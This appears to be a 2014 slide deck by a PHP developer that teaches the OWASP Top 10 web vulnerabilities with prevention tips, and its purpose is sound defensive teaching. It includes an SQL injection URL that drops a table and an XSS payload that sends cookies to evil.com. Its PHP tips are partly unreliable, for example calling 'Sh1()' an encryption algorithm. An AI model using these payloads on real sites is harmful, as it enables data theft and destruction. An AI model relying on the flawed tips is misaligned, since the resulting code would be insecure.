Prepared By : Rushit Brahmbhatt

Date: 10-07-2014
Mobile no: +91-8866115181
Company: Mxicoders Pvt. Ltd.
Intro
Open Web Application Security Project (OWASP)
Top 10 Security Vulnerabilities
Avoiding
Php Tips
What is OWASP?
Website: http://owasp.org
Worldwide non-profit focused on improving software
security
Reaches out to ALL developers: not just security professionals

Who am I?
Bachelor in Computer Science And Engineering(GTU)
Work as a PHP Developer since 1.5 Year
Employee of Mxicoders Pvt. Ltd.

What will you learn?
The top 10 security mistakes that developers make
How to design software with an assurance of security



1) Injection
2) Cross Site Scripting
3) Broken Authentication and Session Management
4) Insecure Direct Object References
5) Cross Site Request Forgery (CSRF)
6) Security Misconfiguration
7) Insecure Cryptographic Storage
8) Failure to Restrict URL Access
9) Insufficient Transport Layer Protection
10) Invalidated Redirects and Forwards




Used when your app sends user-supplied data to other
apps
Database, Operating System, LDAP, Web Services

Hackers "inject" their code to run instead of yours
To access unauthorized data, or completely take over
remote application


Code expects a nice URL:
http://example.com/products?id=123

Hacker could instead supply
this:http://example.com/products?id=';+DROP+TABLE+'
products';

Always assume data coming in could be "evil"
be sure to include "evil" use cases and user stories in
your design

Use an interface that supports bind variables (e.g.,
prepared statements, or stored procedures)

Encode all user input before passing it to the
interpreter

If user-input text is needed, use parameterized queries
clean up quotes, parenthesis, and SQL comments

Sites must "cleanse" user input before displaying it
Hackers can create URLs to inject their own HTML
onto the page
can be used to do almost any kind of attack!!!
Steal users session, steal sensitive data, rewrite web
page, redirect user to phishing or malware site
Most Severe: Install XSS proxy which allows attacker to
observe and direct all users behavior on vulnerable
site and force user to other sites

Code expects a nice URL:
http://example.com/buy?item=123

But a hacker could supply this:
http://example.com/buy?item='><script>document.loca
tion='http://evil.com/steal/'+document.cookie</script>

Never, ever, ever trust user-submitted content!
URLs, comments threads, web forms

Properly "escape" any data before displaying it on web pages
JavaScript parameters, URL parameters, STYLE elements
Remove script tags, and possibly anything with a SRC attribute
Use ESAPI to "cleanse" your HTML

Do not allow state-change from HTTP GET requests
Otherwise, an IMG tag could cause you to lose all your data

Set the HttpOnly flag in your response headers
Prevents document.cookie from working in JavaScript

HTTP is a "stateless" protocol
Nice and simple: HTTP request, HTTP response
All data must be passed in the request every time

How do we store state?
Client side with cookies
Server side with sessions

Most apps place a "sessionId" in cookies, or in the URL
Problem: User accounts compromised or user sessions hijacked

Multiple ways to determine a session ID
HttpReferrer logs, if sessionId is in the URL
Assume that a user stole a session ID
Determine how bad this would be in your application

Use SSL everywhere!
Makes it harder for people to sniff your session ID

If you cannot use SSL everywhere, use it for logins
Have a cryptographically strong session ID
Verify that logoff actually destroys the session

Good sessionIds should be very difficult to re-use
Embed user IP address, user name, timestamp, and a secret
Forces an attacker to spoof IP addresses to take over
Prompt for re-login if IP changes during a session


This is part of enforcing proper Authorization, along
with 7 Failure to Restrict URL Access
Only listing the authorized objects for the current
user,
This is called presentation layer access control, and
doesnt work
Users are able to access unauthorized files or data
Code expects a nice URL:
http://example.com/profile/123

But a hacker could supply this:
http://example.com/profile/124

Attacker views the victims account information
Eliminate the direct object reference
Validate the direct object reference
Verify the parameter value is properly formatted
Verify the user is allowed to access the target object
Verify the requested mode of access is allowed to the
target object (e.g., read, write, delete)

An attack where the victims browser is tricked into
issuing a command to a vulnerable web application
Vulnerability is caused by browsers automatically
including user authentication data (session ID, IP
address, Windows domain credentials, ) with each
request
Impact :
Initiate transactions (transfer funds, logout user, close
account)
Access sensitive data
Change account details
All state change should require a unique token in the
request
But if its in the URL, it's vulnerable!
avoid reusable tokens
General solution:
All state change requires HTTP POST, not a GET
Put one-time token in a hidden field on the web form
After POST, do a GET redirect to a confirmation page
What kind of token?
Single-request tokens: safest, but a pain
Session-based tokens hashed with session ID and action
Require multiple-level authentication
If an action looks fishy, re-prompt user for login

Most web applications depend on some kind of framework
Weblogic, Spring, Ruby on Rails, Open Source Libraries,
Codeignitor, wordpress, joomla, cakephp.
What if your framework issued a security patch?
Do you have a centralized policy for keeping dependencies
up-to-date?
How long would it take you to discover new code?
How long would it take to recompile/test/redeploy?
Do you know all security configurations in the framework?
Odds are no... documentation is usually obtuse
Being helpful is a security hole
Have you properly "hardened" your framework?
Delete default users, disable unused services and ports

Subscribe to newsletters and blog feeds to get patches
Install the patches as quickly as possible
Do periodic scans to detect missing patches
Disable features that are "nice" for developers, but
"nasty" for security
Use automation to ensure patches are up-to-date
If you can't verify it, it's not secure?

All applications store sensitive data
Credit cards, passwords, secure documents

How much "sensitive" data is in your log files?
In general, or for exotic errors?

How are you preventing unauthorized access to these
resources?

If somebody stole your backup tapes, how bad would it
be?

If you store secrets, encrypt them!
Use only battle-tested standard encryption algorithms
Analyze possible threats: inside attack, external user
Make sure encryption policy is appropriate for the threats
Encrypt data anywhere it's stored long term
Especially backups!
Store backups of decryption keys separately from data
Restrict access to decrypted data to only authorized users
Hash all passwords with a standard algorithm, and a "salt"
Use strong keys to access the information
Create a password management policy, and stick with it!

Similar to #4: Insecure Direct Object Reference
Need to block specific actions, even if no resource is
identified
Attackers invoke functions and services theyre not
authorized for
Access other users accounts and data
Perform privileged actions


Code expects a nice URL:
http://example.com/user/getAccounts


But a hacker could supply this:
http://example.com/admin/getAccounts

Attacker views more accounts than just their own


For each URL, a site needs to do 3 things
Restrict access to authenticated users (if not public)
Enforce any user or role based permissions (if private)
Completely disallow requests to unauthorized page types (e.g.,
config files, log files, source files, etc.)
Verify your architecture
Use a simple, positive model at every layer
Be sure you actually have a mechanism at every layer
Verify the implementation
Forget automated analysis approaches
Verify that each URL in your application is protected
Verify the server configuration disallows requests to unauthorized
file types
Use WebScarab or your browser to forge unauthorized requests
How is sensitive information sent from the user to your
server?
When they log in, or view sensitive data?

How do you send that information to other systems?
JDBC call, Web Services, JMS, emails

Use strong, standards compliant network security
protocols
Use TLS (SSL) on all connections with sensitive data
Encrypt messages before transmission
XML-Encryption
Sign messages before transmission
XML-Signature
Disable old, flawed encryption algorithms (ie, SSL 2.0)
If HTTPS is impractical, at the very least secure the
login process

And frequently include user supplied parameters in
the destination URL
If they arent validated, attacker can send victim to a
site of their choice
Sometimes called "phishing holes"

Restrict redirects to a limited number of "trusted" sites

Keep a list of all redirect URLs, and pass the ID in the
request, instead of the URL
http://example.com/redirect?urlId=123

Hash the URL with a secret, and pass the hash in the
URL
http://example.com/redirect?url=google.com&hash=a1b
2c3
Use Captcha
Always Use Server side validation
Use access token
Use Salt key
Use Encryption Algorithms
Use Database prefix
Validate User Input



html_entity_decode() - Convert all HTML entities to their
applicable characters
htmlspecialchars() - Convert special characters to HTML
entities
urlencode() - URL-encodes string
mysql_real_escape_string()-Escapes special characters
Sh1()-defult encryption algorithm
strip_tags() This function removes all the HTML,
JavaScript and php tag from the string.
Intval- it is function which gets the integer value from the
variable
WWW.GOOGLE.COM
WWW.SLIDESHARE.NET
WWW.OWASP.ORG
WWW.WIKIPEDIA.ORG